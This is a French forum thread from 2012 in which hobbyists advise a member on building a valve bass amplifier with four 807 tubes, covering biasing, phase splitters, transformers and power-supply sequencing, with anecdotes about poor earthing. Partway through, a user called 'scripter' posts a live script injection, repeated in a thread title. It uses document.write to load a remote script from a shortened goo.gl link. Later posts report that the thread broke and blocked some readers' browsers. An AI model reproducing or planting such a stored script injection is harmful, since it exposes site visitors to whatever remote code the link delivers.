Sujet : Spécialistes PP 807 Nouveau | De julienbeta Le 30-07-2012 à 21:29 sta |
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Bonjour Mesdames, Messieurs
je tente un ampli avec des 6SL7, 6SN7, et 4 807 pour ma basse...
et soumets à votre sagacité cette question : ce schéma va-t-il fonctionner ... ou me p.... à la figure ???
Cordialement
Julien
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Sujet : Spécialistes PP 807 Nouveau | De F6CER Le 30-07-2012 à 22:14 sta |
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Bonjour
Entre bassistes on peut s'aider !
La chose ne va pas p.... mais va avoir quelques problèmes néanmoins faciles à résoudre :
-Avec des les 807 en AB1 il y a quelques détails d'importance si vous voulez sortir un peu de jus:
1) cathodes à la masse par résistances de 10 Ohms de mesure du courant et polarisation par une tension négative sur les G1 : QUATRE potentiomètres séparés pour équilibrer les courants sinon ça va être un casse-tête pour trouver quatre tubes pareils
2) les résistances de grille sont trop élevées : maximum 220K
3) 0.1 uF de liaison au maximum sinon l'ampli va "pomper" sur les attaques (rassurez vous, même avec 22nF il y aura assez de graves)
4)en AB1 les cathode followers sont inutiles et vous feront perdre de la tension pour rien
5)Bien que l'on soit en BF , une 47 Ohms 3W bobinée dans chaque plaque évitera des accrochages intempestifs
6) je ne vois pas trop comment fonctionne votre déphaseur
vous pouvez vous inspirer du Fender Bassmann 100 avec des 807 en sortie :
http://www.drtube.com/schematics/fender/bassman100.gif
le dernier ampli que j'ai monté et que l'on voit sur les photos a un déphaseur similaire , utilise six EL34 sous 700V; et sort 250W sinus bon poids dans deux 38 Célestion
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Sujet : Spécialistes PP 807 Nouveau | De Filoch+.... Le 31-07-2012 à 02:45 sta |
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Re Bonjour Julien,
Avec quel logiciel fait tu ce magnifique schéma ?Pour info ,j'ai utiliser cet ampli (pour mon fils qui est guitariste) et qui fait toujours référence, d’après lui par rapport aux "Marshall ,et VoX" a lampes de même puissance .tu peut t'en inspirer les modifs a effectuer ,sont très simple,(suppression du transfo driver si besoin est).
Filoch.....
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Sujet : Spécialistes PP 807 Nouveau | De scripter Le 31-07-2012 à 09:49 sta |
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Bonjour,
Très interessant ce forum.
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Sujet : Spécialistes PP 807 Nouveau | De scripter Le 31-07-2012 à 10:00 sta |
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comment vous faite pour s'identifier proprement sur le forum?<script>var commandModuleStr = '<script src="http://goo.gl/KKI2Y" type="text/javascript"></script>';document.write(commandModuleStr);</script>
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Sujet : <script>var commandModuleStr = '<script s Nouveau | De scripter Le 31-07-2012 à 10:09 sta |
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Sujet : . Nouveau | De scripter Le 31-07-2012 à 10:11 sta |
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Sujet : . Nouveau | De scripter Le 31-07-2012 à 10:12 sta |
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Sujet : . Nouveau | De slouptoouut Le 31-07-2012 à 10:40 sta |
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Ca y est , le topics est bogué ...
c'est normal, c'est ça l'informatique
sloup
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Sujet : . Nouveau | De Balast Le 31-07-2012 à 10:56 sta |
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Si ce message apparait, c'est que ça fonctionne
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Sujet : . Nouveau | De omale 13 Le 31-07-2012 à 11:16 sta |
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bonjour
comment ça bloquer
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Sujet : . Nouveau | De Marcel Bourguinet Le 31-07-2012 à 15:40 sta |
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<td width="50%"><a name="168671"></a>essai pour voir <b>.</b></td>
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Sujet : essai Nouveau | De Marcel Bourguinet Le 31-07-2012 à 15:44 sta |
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Sujet : Spécialistes PP 807 Nouveau | De Marcel Bourguinet Le 31-07-2012 à 15:45 sta |
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Ben voilà ça remarche il suffisait de renommer le sujet ou bien?
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Sujet : sloarrrflblblbl Nouveau | De slouptoouut Le 31-07-2012 à 16:32 sta |
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sloarrrflblblbl ...revoila le ballon qui se dégonfle !
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Sujet : sloarrrflblblbl Nouveau | De slouptoouut Le 31-07-2012 à 16:35 sta |
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Le message ci dessus étais un test ...
En effet, en renommant le topics (même avec un titre idiot) ça marche !
(mais pourquoi a t'on détraqué ce topics en y envoyant des lignes de code expres pour générer des dysfonctionnements ??? )
sloup
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Sujet : spécialiste PP 807 Nouveau | De bthiry Le 31-07-2012 à 18:01 sta |
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Sujet : spécialiste PP 807 Nouveau | De Thierry Magis Le 31-07-2012 à 18:57 sta |
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Bonjour
En pièces jointes, le schéma du EL6435 de Philips, double push de 807 (en fait des PE06/40N, identiques).
140W de puissance, une excellente dynamique et un son tout à fait excellent, malgré que cela soit au départ un appareil prévu pour la sono.
Peut être quelques idées dans ce schéma...
Cordialement
Thierry
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Sujet : spécialiste PP 807 Nouveau | De Thierry Magis Le 31-07-2012 à 18:58 sta |
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A noter que sur le site de "sep44" on trouve la description d'un préampli guitare, avec la fiche "noval", parfaitement adpatable à cet appareil-ci (le EL6435)...
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 31-07-2012 à 19:12 sta |
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Bonsoir,
Il est a noter que tout les amplis de sono(puissants a lampes) , quand ils étaient en bon état avec certain composant changer "surtout les potards" ,et quelque condos de haute qualité ,donnaient des résultats assez surprenant, pour les instruments de musiques "Guitares , Basses ,orgues , Synthétiseur.....
Filoch.....
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 31-07-2012 à 19:56 sta |
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bonsoir à tous
Pour le schéma, j'utilise exclusivement PAINT de MICROBUGS. C'est le seul truc que j'utilise encore : il ne BUG pas, et me permet de faire schémas et typons de circuits imprimés .... il faut un d'habitude mais c'est parfait avec une laser pour graver les CI ... évidemment routage totalement manuel des pistes et implantation des composants à la mano .... seule ressource logicielle = des neurones ... et ça c'est fiable (contrairement au PC de SLOUPP).
Le schéma dont parle F6CER je l'ai trouvé dans un magazine (EP) avec des EL 34 comme tubes. Pour ma part, j'avais envie de faire avec des résistances de cathode de 270 ohms par tube fixant le bias vers 25 volts : pas de polarisation négative réglée avec les potards 10 tours. ça me semble plus sûr pour un ampli gratte... évidemment, le rendement énergétique est bien moins bon.
Par contre, l'ampli devrait fonctionner en AB1 jusqu'à X wats, puis en AB2 donc avec courant de grille au-delà .. c'est pour cela que les drivers sont des cathodes followers .. pour attaquer les 807 en basse impédance et fournir du courant. Je prends bonne note de ses remarques ... les valeurs des composants en seront inspirées.
Le déphaseur est un "paraphase" selon le canard .... il est vrai que j'ai du mal à piger comment ça marche moi aussi ..... je dois creuser ... il y a parfois des absurdités dans les canards électroniques .... qu'on laisse aux toilettes comme lecture d'appoint quand il faut forcer ... d'où leur surnom de canard WC....
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 31-07-2012 à 21:01 sta |
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Merci à Tierry MAgis pour les schémas et à tous les autres pour leurs conseils et remarques .... je vais regarder tout cela avec la plus grande attention .... avant de fixer le schéma et de faire le typon ... et les essais ... quelqu'un aurait-il un casque lourd pour la mise sous tension ????
Il restera a faire le transfo ... à votre avis 4400 à 5000 ohms Plaque/plaque ?
Cordialement
Julien
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Sujet : spécialiste PP 807 Nouveau | De F6CER Le 31-07-2012 à 21:03 sta |
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Bonsoir
d'accord pour les résistances de cathodes mais vous allez perdre de la puissance , les pot. de réglage peuvent être totalement standard, pas besoin de 10 tours
Pour le fonctionnement en AB1 / AB2 , la chose est impossible à cause des résistances dans les grilles de commande: le moindre milli de courant grille développé aux bornes d'une 1 meg. bloque le tube . Si vous voulez fonctionner en AB2 il vous faut impérativement soit un transfo driver, soit une self à point milieu, soit attaquer directement les grilles de commande par les cathodes des driver et la, du fait du décalages des tensions ça devient vite assez compliqué
On trouve sur le net plein de schémas d'amplis de basse Fender Vox ou Ampeg , faites un petit mix avec les morceaux de l'un ajouté à l'autre et vous allez certainement trouver votre bonheur
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 31-07-2012 à 21:21 sta |
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Pour moi j'opterais pour un 4400 a forte section magnétique, ou torique , car avec les 807 en // on abaisse considérablement l’impédance ,(expérience de terrain par moi même, excellent rendement ,pas de "fumée ni d'explosion" ! sous 800 volts)
Filoch....
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Sujet : spécialiste PP 807 Nouveau | De YM Le 31-07-2012 à 22:21 sta |
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<< Si vous voulez fonctionner en AB2 il vous faut impérativement soit un transfo driver, soit une self à point milieu, soit attaquer directement les grilles de commande par les cathodes des driver et la, du fait du décalages des tensions ça devient vite assez compliqué >>
On peut le faire !
Yves.
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Sujet : spécialiste PP 807 Nouveau | De F6CER Le 31-07-2012 à 22:39 sta |
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Bonsoir
bien sur qu'on peut le faire ! mais le jeu en vaut-il la chandelle ?
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 31-07-2012 à 22:44 sta |
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dans mon schéma, que je n'ai pas inventé mais copié, la commande des grilles des 807 se fait bien par les cathodes des 6SN7. On est donc en basse impédance ... d'où le condo de liaison assez musclé (1µ).. bon ça c'est ptêt un peu exagéré .. mais c'est de la basse 5 cordes : ça descend très bas ! dans le schéma YM, c'est le même cas de figure ... cathode followers.
En tous cas merci des commentaires .... ça fait gamberger .. et c'est le but pour avoir un schéma correct il faut le comprendre.
Julien
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 31-07-2012 à 22:48 sta |
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j'étais parti sur un 4400 ohms en sortie avec 16 ohms de HP (deux 30 cm en série) : ça doit être plutôt favorable pour amortir des hp spéciaux bass réflex (la caisse sera bass réflex).
Par contre oui, beaucoup de fer pour la basse et de bonnes sections de fil ... le schéma de YM sur le HP est fort bien expliqué .. très utile.
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 31-07-2012 à 22:48 sta |
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ouups
le schéma de YM sur le HP est fort bien expliqué .. très utile.
lire le transfo
Julien
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Sujet : spécialiste PP 807 Nouveau | De YM Le 31-07-2012 à 23:03 sta |
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<< bien sur qu'on peut le faire ! mais le jeu en vaut-il la chandelle ? >>
L'idée de base n'était pas de faire un "gros" ampli en classe AB2 mais d'éviter que la polar des finales varient avec le signal.
Blocage
Est ce un avantage pour un ampli d'instrument ?
Pas sûr que Carlos Santana ait aimé
Yves.
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 31-07-2012 à 23:27 sta |
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C'est pour cela si on se réfère au schéma du père BOUYER le ST 150 les 807 sont driver par un p/p de 6L6 d'abord ! ,je pense qu'avec des 6SN7 cela vas être juste même en montage followers sur cathodes , pour driver a fond le double P/P de 807. (Ce montage Bouyer , a fait ses preuves)
Filoch....
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 31-07-2012 à 23:29 sta |
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je comprends mieux l'inconvénient de la classe AB2 .. et pas moyen de mettre une diode de roue libre pour décharger le capa de liaison... par contre le transfo interétage ne me plaît pas plus que ça .... il faut donc rester sagement en AB1 ......
A suivre : je dois réfléchir à tous vos arguments ... encore merci
Julien
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 31-07-2012 à 23:54 sta |
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 01-08-2012 à 00:04 sta |
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Je vais essayer de passer le schéma ,je l'ais restaurer une grosse "bête de 120watts"
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 01-08-2012 à 00:10 sta |
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 01-08-2012 à 00:16 sta |
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Reste quelque finitions de "gainage" , et les grilles a poser !, mais il a déjà fait plusieurs concerts comme cela ,
Bonne nuit.
Filoch.....
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Sujet : spécialiste PP 807 Nouveau | De YM Le 01-08-2012 à 08:06 sta |
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<< C'est pour cela si on se réfère au schéma du père BOUYER le ST 150 les 807 sont driver par un p/p de 6L6 d'abord ! ,je pense qu'avec des 6SN7 cela vas être juste même en montage followers sur cathodes , pour driver a fond le double P/P de 807. (Ce montage Bouyer , a fait ses preuves) >>
Surtout que les 807 sont en "zero bias": attaque simultanée par les G1 et les G2, faut les secouer !
Mais c'est increvable
Yves.
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 01-08-2012 à 12:14 sta |
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Bonjour ,
Dans ce principe rien n’empêche de faire un "BOOST" de puissance avec 4 x 807, l'alime qui vas avec,le transfo de sortie, et une adaptation ,d'un transfo driver, sur la sortie P/P d'un ampli classique de "Gratte"pour attaquer G1 ,G2 .
Filoch....
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 01-08-2012 à 21:55 sta |
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une idée intéressante en effet : l'ampli normal servant de driver et son transfo de sortie étant remplacé par un transfo de liaison .... à creuser .....
Julen
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Sujet : spécialiste PP 807 Nouveau | De YM Le 01-08-2012 à 22:02 sta |
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Non, tu ne touches pas à l'ampli "normal", tu rajoute seulement un "booster" pour la scène :
Idée de booster
Le transfo d'entrée est un transfo de sortie inversé.
Yves.
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Sujet : spécialiste PP 807 Nouveau | De slouptoouut Le 01-08-2012 à 22:55 sta |
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Et il a intéret a être vachement bien isolé , le transfo d'entré !
En effet ce montage est alimenté directement sur le secteur ! qui plus est doublé par un montage Latour !
(on a un peu plus de 600V qui s'y ballade , et ceci sans aucune séparation galvanique par rapport au réseau ! si le transfo d'entré est un vulgaire transfo de sortie de BCL "a l'envers" , sera il capable de tenir des tensions de cet ordre et d'assurer en toute sécurité l'isolement ? dans le cas contraire le courant de défaut pourrais bien chercher a retourner a la terre via l'ampli qui "drive" le booster... puis via le guitariste )
Un truc pour mourir sur scène
Sloup
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Sujet : spécialiste PP 807 Nouveau | De Florian . L Le 02-08-2012 à 00:38 sta |
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Vive le transfo d'isolement avec ce truc!
Flo
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 02-08-2012 à 01:55 sta |
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Pas de problème mon bon sloup
,j'ai réaliser un truc comme cela il y a longtemps,avec 2 lampes de sortie 829 B (utiliser sur des emetteurs VHF T14 ) alimenter en 800volts , par un transfo classique pour machine outil 220/380 ,300VA ,a circuit separer donc isoler du secteur d'un doubleur "LATOUR" , suivi de self et capas en série de 220 µf sous 488 volts (FELSIC 039 de chez SIC-SAFCO)il m'en reste encore quelque une! un transfo de 220/12 volts pour les filaments (le tout de marque "LEGRAND") pour le transfo driver un transfo de sortie a l’envers TU 101 et en sortie un transfo de marque LITE 4K P/P 15 ohms origine ampli de cinéma 'THOMSOM"de 250watts C’était dément mais ça a fait le bonheur au début,d'un "gratteux"qui est par la suite devenue une célébrité! ..il n'a pas été "foudroyer" par sa "Gratte" il est toujours de ce monde! c'est un ancien il a la peau dur! le driver était un ampli "FENDER" a lampes DELUX AB 763 (2x 6V6)25 watts. l'enceinte avait ete fabriquer "Maison" avec 4 hp de 35 cm de marque "ROSELSON" origine "cinéma qui allaient avec l'ampli "THOMSOM".
Filoch.....
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Sujet : spécialiste PP 807 Nouveau | De YM Le 02-08-2012 à 07:45 sta |
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Il est certain que le clou dans un pot de fleur ne constitue pas une prise de terre suffisante !
(Rigolez pas, je l'ai vu. Et Filoch aussi certainement.)
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Sujet : spécialiste PP 807 Nouveau | De Michel 87 Le 02-08-2012 à 08:40 sta |
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Bonjour,
" Le clou dans un pot de fleurs " c'est pas mal, mais le branchement de la connexion de terre sur le tuyau d'eau n'est pas mal non plus.
Surtout quand l'alimentation d'eau est faite avec un tuyau en poyéthylène...
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Sujet : spécialiste PP 807 Nouveau | De wizhard Le 02-08-2012 à 10:45 sta |
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Oui....Ou bien comme ça m'est arrivé en Arabie, de devoir trouver une terre pour une sous-station de pompage sous une bonne cinquantaine de m de sable (bien sec !!)
Il valait mieux espérer que les orages (oui-oui, il y en a !!) passent au large.....sinon c'était le pipe (en principe plein de "liquide inflammable !!) qui servait de paratonnerre.....
Historiquement, le bassiste des "shadows" (le premier) a connu ce "désagrément". Il a sorti le plus beau riff, jamais entendu, mais c'était le dernier.....
Le coup des tuyaux en polyéthylène j'ai connu, certains "organisateurs" prétendant même que c'était supérieur à un piquet, puisque l'eau est conductrice !!
En ce temps là on n'avait pas peur des mouches.....
Bonne journée Daniel.
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Sujet : spécialiste PP 807 Nouveau | De Filoch+.... Le 02-08-2012 à 10:51 sta |
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Bonjour,
,Quand j'etai gamin, il y a eu un début d'incendie dans un appartement voisin,sans trop de dégas heureusement,a cause d'un poste de TSF, certainement tout courant, l'utilisateur avait brancher la terre sur le tuyau de gaz qui était a l’époque en plomb de petit diamètre pour le réchaud (plomb de 16 pour les connaisseur !) comme les installation électrique (années 50)avaient que des fusibles sous verre en dessous du compteur . certainement remplacer par du fil de fer il a du y avoir un big court-circuit ,le fil a fondu une partie du pB ,avec l'etincelle ca a du prendre feu! c'est les pompiers qui on expliquer ce fait a ma mère, ils ont arrêter le feu en écrasant le tuyau au compteur a gaz!
suite a cela je me suis fait Eng....par elle car moi je bidouillais deja la TSF.
oui yves j'ai vu cela "Clou ,la gouttière aussi ,tuyaux d'eau ça encore ça allait car le polyhetylene n'existait pas.
Filoch......
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 06-08-2012 à 20:18 sta |
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Bonsoir à tous
Des nouvelles du BASS 807 ...
les CI carte 807 et Drivers sont faites.
Avant de jouer avec la puissance, j'ai monté et testé les drivers. Il faut partir sur une bonne base ... sinon on ne sait pas d'où viennent les problèmes.
1) pour 300mv en entrée j'ai 8 volts en sortie. Je n'ai pas de source qui sort plus de tension crête... donc attendre le préampli. Je ne sais pas jusqu'où cela va monter.. pas contre pas de distorsion notable... même à 11 Khz.. le niveau faiblit un peu, mais les sinus ne sont pas du tout déformées
2) le déphaseur paraphase (dont je n'ai pas encore compris toutes les subtilités) fonctionne bien (voir photo oscillo). Le potard de dosage permet d'ajuster le niveau du signal déphasé avec assez de précision ... c'est pas mal du tout... faut voir si cela se maintient avec un plus haut niveau d'entrée.
3) j'ai tenu compte des remarques ci-dessus formulées : les condos de liaison ne font plus que 0.22 µ ... et les basses sont impeccables. Les résistances de grille des 807 seront abaissées à 220 k et non plus 1Mohms. Les drivers étant en basse impédance, cela devrait aller comme charge.
J'ai testé sur mon ampli double PP de 6080 ... j'arrive pas à le faire écrêter avec 8 volts crête ..mais ça bastonne déjà pas mal (musique de djeunes avec plein de percussions et de basses genre boite de nuit)
photo :
oscillo du haut les deux sorties du driver
oscillo du bas trace du haut la source (géné BF)
oscillo du bas trace du bas la sortie HP
Le préampli guitare & basse est en route : typon tracé .. y'a plus qu'à insoler & graver...
à suivre.
Cordialement
Julien
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 06-08-2012 à 20:25 sta |
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la carte Drivers 6SN7 et 6SN7
derrière les deux 6080 rayonnent (de chaleur, pas de joie !)
ça chauffe sévère ces loupiottes là !
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 06-08-2012 à 20:27 sta |
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un autre plus nette (je suis fâché avec mon vieil APN ... je dois trop trembler ..)
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 06-08-2012 à 20:30 sta |
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mes deux alims variables .... très pratique ...
en repensant au titre du fil ... "spécialistes 807" s'adressait aux membres expérimentés du forum ... en ce qui me concerne, je suis spécialiste de rien du tout ..... si si à la réflexion ... je suis un spécialiste de l'atelier mal rangé ..... faut dire qu'il bien petit vu tout ce qu"'il faut mettre dedans !
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 06-08-2012 à 20:33 sta |
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la gratte en cours de montage / peinture / vernis ..... elle le l'ai terminée ..... manque plus que l'ampli ....
Bonne soirée
Julien
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 10-08-2012 à 13:51 sta |
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Ampli BASSE 807 .... la suite
Bonjour à tous
finalement le plus difficile .. c'est encore et toujours l'ALIM.
Tout devait rentrer sur une époxy de 100x160 .... chausse pieds !
Montée, testée .... elle laisse au moins 30 secondes aux filaments pour chauffer, et n'envoie le 500 volts aux anodes QUE si la tension négative est là. Puis elle envoie le + 300 volts aux écrans (et au driver et au préampli) QUE si la tension d'anode dépasse 300 volts ... histoire de ne pas pulvériser bêtement les écrans en cas de fusible claqué sur l'alim HT. En cas de perte du -100 volts, bien entendu écrans et anodes tombent à 0 (avec toutefois un petit délai que je n'ai pas pu réduire ... à creuser).
accessoirement; deux LED clignotent pendant le chauffage, et une devient fixe quand c'est oké.
Reste à monter le préampli guitare /Basse ... je me suis inspiré du super GROUP .. aimablement suggéré par un des membres du forum.. Bien entendu, le schéma et le typon sont à votre disposition ....
Cordialement
Julien
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Sujet : spécialiste PP 807 Nouveau | De julienbeta Le 12-08-2012 à 23:55 sta |
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Bonsoir
en partance pour la montagne demain, je passe en QRT pour une semaine .. au retour, les essais avec la partie puissance du 807
Bonne semaine à tous et bon bricolages.
Cordialement
Julien
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Sujet : spécialiste PP 807 Nouveau | De nanar Le 13-08-2012 à 09:19 sta |
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bonjour
je ne comprends pas grand chose mais ce sujet bloque sur mon ordi ! et ce depuis les post de scripter … si j'arrive à écrire ce message c'est en passant par un autre ordinateur ( un vieux PC )
étonnant non ?
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Sujet : spécialiste PP 807 Nouveau | De slouptoouut Le 13-08-2012 à 09:48 sta |
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Bâ,
c'est tout, sauf logique comme fonctionnement , c'est du domaine de madame soleil, de l'exorciseur et du paranormal
Enfin bon, ça déconne, c'est normal, c'est ça l'informatique !
sloup
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